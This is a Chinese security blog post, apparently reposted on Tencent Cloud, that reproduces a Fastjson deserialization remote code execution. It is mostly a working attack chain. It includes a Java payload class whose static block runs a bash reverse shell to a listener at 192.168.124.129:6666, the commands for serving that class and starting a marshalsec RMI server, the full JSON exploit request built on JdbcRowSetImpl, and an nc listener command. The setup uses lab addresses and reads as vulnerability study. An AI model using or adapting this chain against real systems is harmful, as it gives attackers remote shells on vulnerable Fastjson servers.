前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Fashjson1.2.27反序列化复现

Fashjson1.2.27反序列化复现

作者头像
Khan安全团队
发布2020-11-03 15:25:45
5310
发布2020-11-03 15:25:45
举报
文章被收录于专栏:Khan安全团队

1、首先访问一下目标网址是否正常

2、编译java攻击载荷,此代码为反弹shell

// javac exp.java

import java.lang.Runtime;

import java.lang.Process;

public class exp {

static {

try {

Runtime rt =Runtime.getRuntime();

String[]commands = {"/bin/bash","-c","bash -i >&/dev/tcp/192.168.124.129/6666 0>&1"};

Process pc =rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}

}

}

3、在使用远程服务器开启web服务器,使得编译的文件能够被下载。

这里使用py来开启python -mSimpleHTTPServer 8080

访问目录,发现了文件

4、再启动rmi服务,远程加载刚才开启的web服务

这里使用了marshalsec启动一个RMI服务器,或者ladp服务器。

下载地址:https://github.com/mbechler/marshalsec

下载后切换到marshalsec目录下使用maven进行打包。

mvn cleanpackage -DskipTests

编译完成后,再进行开启:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer "http://192.168.124.133:8080/#exp" 9999

5、对目标站点发送payload

Payload:

POST / HTTP/1.1

Host: 192.168.124.145:8090

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Connection: close

Content-Type: application/json

Content-Length: 261

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://192.168.124.133:9999/exp",

"autoCommit":true

}

}

在主机上进行监听6666端口,命令如下:

Nc -lvvp6666

发送payload后得到了shell

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档